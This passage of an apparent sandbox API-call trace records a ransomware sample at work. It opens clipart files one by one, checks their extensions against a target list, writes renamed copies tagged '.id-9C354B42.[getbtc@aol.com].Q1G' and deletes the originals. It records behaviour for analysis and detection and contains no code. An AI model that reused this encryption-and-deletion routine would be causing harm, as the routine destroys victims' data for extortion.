(hFile=0x200) returned 1 [0242.370] CloseHandle (hObject=0x200) returned 1 [0242.370] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0242.370] SetEndOfFile (hFile=0x360) returned 1 [0242.372] CloseHandle (hObject=0x360) returned 1 [0242.372] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0242.372] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ocean_01.mid")) returned 1 [0242.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 63 [0242.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 63 [0242.374] lstrlenW (lpString=".doc") returned 4 [0242.374] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0242.374] lstrlenW (lpString=".docx") returned 5 [0242.374] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0242.374] lstrlenW (lpString=".pdf") returned 4 [0242.374] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0242.374] lstrlenW (lpString=".xls") returned 4 [0242.374] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0242.374] lstrlenW (lpString=".xlsx") returned 5 [0242.375] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0242.375] lstrlenW (lpString=".ppt") returned 4 [0242.375] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0242.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 63 [0242.375] lstrlenW (lpString=".zip") returned 4 [0242.375] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0242.375] lstrlenW (lpString=".rar") returned 4 [0242.375] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0242.375] lstrlenW (lpString=".bz2") returned 4 [0242.375] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0242.375] lstrlenW (lpString=".7z") returned 3 [0242.375] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0242.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 63 [0242.375] lstrlenW (lpString=".dbf") returned 4 [0242.375] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0242.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 63 [0242.375] lstrlenW (lpString=".1cd") returned 4 [0242.375] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0242.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 63 [0242.375] lstrlenW (lpString=".jpg") returned 4 [0242.375] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0242.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 63 [0242.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 63 [0242.375] lstrlenW (lpString=".doc") returned 4 [0242.375] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0242.375] lstrlenW (lpString=".docx") returned 5 [0242.375] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0242.375] lstrlenW (lpString=".pdf") returned 4 [0242.376] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0242.376] lstrlenW (lpString=".xls") returned 4 [0242.376] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0242.376] lstrlenW (lpString=".xlsx") returned 5 [0242.376] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0242.376] lstrlenW (lpString=".ppt") returned 4 [0242.376] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0242.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 63 [0242.376] lstrlenW (lpString=".zip") returned 4 [0242.376] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0242.376] lstrlenW (lpString=".rar") returned 4 [0242.376] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0242.376] lstrlenW (lpString=".bz2") returned 4 [0242.376] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0242.376] lstrlenW (lpString=".7z") returned 3 [0242.376] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0242.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 63 [0242.376] lstrlenW (lpString=".dbf") returned 4 [0242.376] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0242.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 63 [0242.376] lstrlenW (lpString=".1cd") returned 4 [0242.376] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0242.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 63 [0242.376] lstrlenW (lpString=".jpg") returned 4 [0242.376] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0242.377] lstrcmpiW (lpString1=".MID", lpString2=".Q1G") returned -1 [0242.377] lstrlenW (lpString="OUTDR_01.MID") returned 12 [0242.377] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\outdr_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0242.410] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=6644) returned 1 [0242.410] CloseHandle (hObject=0x39c) returned 1 [0242.410] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\outdr_01.mid")) returned 0x20 [0242.451] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\outdr_01.mid.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0242.775] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\outdr_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0242.779] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0242.779] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0242.779] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\outdr_01.mid.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0242.779] GetLastError () returned 0x0 [0242.779] ReadFile (in: hFile=0x390, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x19f4, lpOverlapped=0x0) returned 1 [0242.781] WriteFile (in: hFile=0x3a0, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x1a00, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0x1a00, lpOverlapped=0x0) returned 1 [0242.782] ReadFile (in: hFile=0x390, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0242.782] WriteFile (in: hFile=0x3a0, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xec, lpOverlapped=0x0) returned 1 [0242.782] SetEndOfFile (hFile=0x3a0) returned 1 [0242.782] CloseHandle (hObject=0x3a0) returned 1 [0242.782] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0242.782] SetEndOfFile (hFile=0x390) returned 1 [0242.785] CloseHandle (hObject=0x390) returned 1 [0242.785] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0242.785] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\outdr_01.mid")) returned 1 [0242.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 63 [0242.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 63 [0242.786] lstrlenW (lpString=".doc") returned 4 [0242.786] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0242.786] lstrlenW (lpString=".docx") returned 5 [0242.786] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0242.786] lstrlenW (lpString=".pdf") returned 4 [0242.786] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0242.786] lstrlenW (lpString=".xls") returned 4 [0242.786] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0242.786] lstrlenW (lpString=".xlsx") returned 5 [0242.786] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0242.786] lstrlenW (lpString=".ppt") returned 4 [0242.786] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0242.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 63 [0242.786] lstrlenW (lpString=".zip") returned 4 [0242.786] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0242.786] lstrlenW (lpString=".rar") returned 4 [0242.786] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0242.786] lstrlenW (lpString=".bz2") returned 4 [0242.786] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0242.786] lstrlenW (lpString=".7z") returned 3 [0242.786] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0242.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 63 [0242.786] lstrlenW (lpString=".dbf") returned 4 [0242.786] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0242.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 63 [0242.786] lstrlenW (lpString=".1cd") returned 4 [0242.787] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0242.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 63 [0242.787] lstrlenW (lpString=".jpg") returned 4 [0242.787] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0242.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 63 [0242.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 63 [0242.787] lstrlenW (lpString=".doc") returned 4 [0242.787] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0242.787] lstrlenW (lpString=".docx") returned 5 [0242.787] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0242.787] lstrlenW (lpString=".pdf") returned 4 [0242.787] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0242.787] lstrlenW (lpString=".xls") returned 4 [0242.787] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0242.787] lstrlenW (lpString=".xlsx") returned 5 [0242.787] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0242.787] lstrlenW (lpString=".ppt") returned 4 [0242.787] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0242.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 63 [0242.787] lstrlenW (lpString=".zip") returned 4 [0242.787] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0242.788] lstrlenW (lpString=".rar") returned 4 [0242.788] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0242.788] lstrlenW (lpString=".bz2") returned 4 [0242.788] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0242.788] lstrlenW (lpString=".7z") returned 3 [0242.788] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0242.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 63 [0242.788] lstrlenW (lpString=".dbf") returned 4 [0242.788] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0242.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 63 [0242.788] lstrlenW (lpString=".1cd") returned 4 [0242.788] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0242.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 63 [0242.788] lstrlenW (lpString=".jpg") returned 4 [0242.788] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0242.788] lstrcmpiW (lpString1=".MID", lpString2=".Q1G") returned -1 [0242.788] lstrlenW (lpString="PARNT_09.MID") returned 12 [0242.788] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_09.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0242.789] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=6764) returned 1 [0242.789] CloseHandle (hObject=0x390) returned 1 [0242.789] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_09.mid")) returned 0x20 [0242.789] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_09.mid.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0242.789] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_09.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0242.789] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0242.789] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0242.789] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_09.mid.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0242.790] GetLastError () returned 0x0 [0242.790] ReadFile (in: hFile=0x390, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x1a6c, lpOverlapped=0x0) returned 1 [0242.791] WriteFile (in: hFile=0x3a0, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x1a70, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0x1a70, lpOverlapped=0x0) returned 1 [0242.792] ReadFile (in: hFile=0x390, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0242.792] WriteFile (in: hFile=0x3a0, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xec, lpOverlapped=0x0) returned 1 [0242.792] SetEndOfFile (hFile=0x3a0) returned 1 [0242.792] CloseHandle (hObject=0x3a0) returned 1 [0242.792] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0242.792] SetEndOfFile (hFile=0x390) returned 1 [0242.794] CloseHandle (hObject=0x390) returned 1 [0242.794] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0242.795] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_09.mid")) returned 1 [0242.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 63 [0242.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 63 [0242.795] lstrlenW (lpString=".doc") returned 4 [0242.795] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0242.795] lstrlenW (lpString=".docx") returned 5 [0242.795] lstrcmpiW (lpString1=".docx", lpString2="9.MID") returned -1 [0242.795] lstrlenW (lpString=".pdf") returned 4 [0242.795] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0242.795] lstrlenW (lpString=".xls") returned 4 [0242.795] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0242.795] lstrlenW (lpString=".xlsx") returned 5 [0242.795] lstrcmpiW (lpString1=".xlsx", lpString2="9.MID") returned -1 [0242.795] lstrlenW (lpString=".ppt") returned 4 [0242.796] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0242.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 63 [0242.796] lstrlenW (lpString=".zip") returned 4 [0242.796] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0242.796] lstrlenW (lpString=".rar") returned 4 [0242.796] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0242.796] lstrlenW (lpString=".bz2") returned 4 [0242.796] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0242.796] lstrlenW (lpString=".7z") returned 3 [0242.796] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0242.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 63 [0242.796] lstrlenW (lpString=".dbf") returned 4 [0242.796] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0242.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 63 [0242.796] lstrlenW (lpString=".1cd") returned 4 [0242.796] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0242.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 63 [0242.796] lstrlenW (lpString=".jpg") returned 4 [0242.796] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0242.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 63 [0242.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 63 [0242.796] lstrlenW (lpString=".doc") returned 4 [0242.796] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0242.796] lstrlenW (lpString=".docx") returned 5 [0242.796] lstrcmpiW (lpString1=".docx", lpString2="9.MID") returned -1 [0242.796] lstrlenW (lpString=".pdf") returned 4 [0242.796] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0242.796] lstrlenW (lpString=".xls") returned 4 [0242.796] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0242.796] lstrlenW (lpString=".xlsx") returned 5 [0242.797] lstrcmpiW (lpString1=".xlsx", lpString2="9.MID") returned -1 [0242.797] lstrlenW (lpString=".ppt") returned 4 [0242.797] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0242.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 63 [0242.797] lstrlenW (lpString=".zip") returned 4 [0242.797] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0242.797] lstrlenW (lpString=".rar") returned 4 [0242.797] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0242.797] lstrlenW (lpString=".bz2") returned 4 [0242.797] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0242.797] lstrlenW (lpString=".7z") returned 3 [0242.797] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0242.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 63 [0242.797] lstrlenW (lpString=".dbf") returned 4 [0242.797] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0242.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 63 [0242.797] lstrlenW (lpString=".1cd") returned 4 [0242.797] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0242.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 63 [0242.797] lstrlenW (lpString=".jpg") returned 4 [0242.797] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0242.798] lstrcmpiW (lpString1=".MID", lpString2=".Q1G") returned -1 [0242.798] lstrlenW (lpString="PARNT_10.MID") returned 12 [0242.798] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_10.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0242.798] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=5393) returned 1 [0242.798] CloseHandle (hObject=0x390) returned 1 [0242.798] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_10.mid")) returned 0x20 [0242.798] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_10.mid.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0242.798] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_10.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0242.799] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0242.799] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0242.799] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_10.mid.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0242.799] GetLastError () returned 0x0 [0242.799] ReadFile (in: hFile=0x390, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x1511, lpOverlapped=0x0) returned 1 [0242.801] WriteFile (in: hFile=0x3a0, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x1520, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0x1520, lpOverlapped=0x0) returned 1 [0242.802] ReadFile (in: hFile=0x390, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0242.802] WriteFile (in: hFile=0x3a0, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xec, lpOverlapped=0x0) returned 1 [0242.802] SetEndOfFile (hFile=0x3a0) returned 1 [0242.802] CloseHandle (hObject=0x3a0) returned 1 [0242.802] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0242.802] SetEndOfFile (hFile=0x390) returned 1 [0242.805] CloseHandle (hObject=0x390) returned 1 [0242.805] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0242.805] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_10.mid")) returned 1 [0242.805] lstrlenW (lpString="C:\\Program Files\\Microsoft 